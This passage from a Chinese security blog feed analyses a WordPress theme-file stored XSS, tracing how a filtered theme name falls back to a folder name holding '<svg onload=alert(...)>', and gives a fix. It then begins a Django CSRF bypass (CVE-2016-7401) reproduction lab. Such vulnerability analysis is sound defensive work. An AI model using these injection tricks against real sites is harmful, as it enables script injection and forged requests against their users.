&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;load_textdomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;translate_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$markup&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;markup_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;由之前的调用可知，这里的&lt;code class=&quot;highlighter-rouge&quot;&gt;$header&lt;/code&gt;的值为&lt;code class=&quot;highlighter-rouge&quot;&gt;Name&lt;/code&gt;。首先看&lt;code class=&quot;highlighter-rouge&quot;&gt;$this-get($header)&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes/class-wp-theme.php&lt;/code&gt;中第594-617行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;headers_sanitized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sanitize_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;headers_sanitized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这里省略了与漏洞无关的部分，程序进入了&lt;code class=&quot;highlighter-rouge&quot;&gt;$this-&amp;gt;sanitize_header&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes/class-wp-theme.php&lt;/code&gt;第661-705行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sanitize_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Name'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header_tags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
				&lt;span class=&quot;s1&quot;&gt;'abbr'&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
				&lt;span class=&quot;s1&quot;&gt;'acronym'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
				&lt;span class=&quot;s1&quot;&gt;'code'&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;s1&quot;&gt;'em'&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;s1&quot;&gt;'strong'&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wp_kses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header_tags&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这里执行了&lt;code class=&quot;highlighter-rouge&quot;&gt;Name&lt;/code&gt;这个分支，可以看到程序使用&lt;code class=&quot;highlighter-rouge&quot;&gt;wp_kses&lt;/code&gt;对&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;的值进行了过滤，仅允许&lt;code class=&quot;highlighter-rouge&quot;&gt;$header_tags&lt;/code&gt;中的html符号，所以我们&lt;code class=&quot;highlighter-rouge&quot;&gt;headers.Name&lt;/code&gt;的值&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;svg onload=alert(1234)&amp;gt;&lt;/code&gt;是不合法的，&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;值被赋为空。&lt;/p&gt;

&lt;p&gt;然后程序回到了&lt;code class=&quot;highlighter-rouge&quot;&gt;display&lt;/code&gt;函数，根据动态调试可以知道程序执行了&lt;code class=&quot;highlighter-rouge&quot;&gt;$value = $this-&amp;gt;markup_header( $header, $value, $translate );&lt;/code&gt;这个条件分支，再跟进，在&lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes/class-wp-theme.php&lt;/code&gt;中第720-748行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;markup_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$translate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$header&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Name'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get_stylesheet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这里我们看到由于&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;在之前被赋为空，导致此处&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;被重新赋值为了&lt;code class=&quot;highlighter-rouge&quot;&gt;$this-&amp;gt;get_stylesheet()&lt;/code&gt;，也就是值为&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;svg onload=alert(5678)&amp;gt;&lt;/code&gt;的&lt;code class=&quot;highlighter-rouge&quot;&gt;stylesheet&lt;/code&gt;变量。最后返回的&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;赋给了&lt;code class=&quot;highlighter-rouge&quot;&gt;$name&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;$name&lt;/code&gt;再与html拼接返回给客户端，从而触发了漏洞：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-08-xss-js.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-10-08-xss-html.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;这个漏洞有趣的地方在于&lt;code class=&quot;highlighter-rouge&quot;&gt;style.css&lt;/code&gt;中的payload其实起到的是一个障眼法的作用，正是因为&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;svg onload=alert(1234)&amp;gt;&lt;/code&gt;被过滤了才使&lt;code class=&quot;highlighter-rouge&quot;&gt;$value&lt;/code&gt;被赋值成了我们真正的payload&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;svg onload=alert(5678)&amp;gt;&lt;/code&gt;。所以在构造主题文件的时候&lt;code class=&quot;highlighter-rouge&quot;&gt;style.css&lt;/code&gt;和文件夹名这两个地方都要更改。&lt;/p&gt;

&lt;h3 id=&quot;3补丁分析&quot;&gt;3.补丁分析&lt;/h3&gt;

&lt;p&gt;可能是由于利用条件十分苛刻，目前Wordpress官方还没有发布补丁，最新版Wordpress仍存在该漏洞。&lt;/p&gt;

&lt;h2 id=&quot;0x02-修复方案&quot;&gt;0x02 修复方案&lt;/h2&gt;

&lt;p&gt;在官方发布补丁前，管理员应提高安全意识，不要轻易使用来路不明的主题。&lt;/p&gt;

&lt;p&gt;对于开发者来说建议对&lt;code class=&quot;highlighter-rouge&quot;&gt;$name&lt;/code&gt;进行合法性检查，例如这样：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$allowed_html&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
	&lt;span class=&quot;s1&quot;&gt;'em'&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;s1&quot;&gt;'strong'&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wp_kses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$allowed_html&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;0x03-参考&quot;&gt;0x03 参考&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.mehmetince.net/low-severity-wordpress-461-stored-xss-via-theme-file&quot;&gt;https://www.mehmetince.net/low-severity-wordpress-461-stored-xss-via-theme-file&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://codex.wordpress.org/Function_Reference/wp_kses&quot;&gt;https://codex.wordpress.org/Function_Reference/wp_kses&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 08 Oct 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/10/08/wordpress-theme-xss.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/10/08/wordpress-theme-xss.html</guid>
        
        
      </item>
    
      <item>
        <title>Django CSRF Bypass (CVE-2016-7401) 漏洞分析</title>
        <description>&lt;h2 id=&quot;0x00-漏洞概述&quot;&gt;0x00 漏洞概述&lt;/h2&gt;

&lt;h3 id=&quot;1漏洞简介&quot;&gt;1.漏洞简介&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.djangoproject.com&quot;&gt;Django&lt;/a&gt;是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(&lt;a href=&quot;https://hackerone.com/reports/26647&quot;&gt;CSRF protection bypass on any Django powered site via Google Analytics&lt;/a&gt;)，通过该漏洞，当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制，同时又使用了Google Analytics的时候，攻击者可以构造请求来对CSRF防护机制进行绕过。&lt;/p&gt;

&lt;h3 id=&quot;2漏洞影响&quot;&gt;2.漏洞影响&lt;/h3&gt;

&lt;p&gt;网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;使用Google Analytics来做数据统计&lt;/li&gt;
  &lt;li&gt;使用Django作为Web框架&lt;/li&gt;
  &lt;li&gt;使用基于Cookie的CSRF防护机制（Cookie中的某个值和请求中的某个值必须相等）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3影响版本&quot;&gt;3.影响版本&lt;/h3&gt;

&lt;p&gt;Django 1.9.x &amp;lt; 1.9.10&lt;/p&gt;

&lt;p&gt;Django 1.8.x &amp;lt; 1.8.15&lt;/p&gt;

&lt;p&gt;Python2 &amp;lt; 2.7.9&lt;/p&gt;

&lt;p&gt;Python3 &amp;lt; 3.2.7&lt;/p&gt;

&lt;h2 id=&quot;0x01-漏洞复现&quot;&gt;0x01 漏洞复现&lt;/h2&gt;

&lt;h3 id=&quot;1-环境搭建&quot;&gt;1. 环境搭建&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. pip install &lt;span class=&quot;nv&quot;&gt;django&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;1.9.9
2. django-admin startproject project
3. &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;project
4. python manage.py startapp app
5. &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;app
6. 将 &lt;span class=&quot;s1&quot;&gt;'app'&lt;/span&gt; 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
7. 更改或添加下列文件：
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;project/app/views.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.shortcuts&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.http&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HttpResponse&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Create your views here.&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'POST'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HttpResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CSRF check successfully!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'check.html'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'ga.html'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;project/project/urls.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.conf.urls&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;django.contrib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;app.views&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ga&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;urlpatterns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
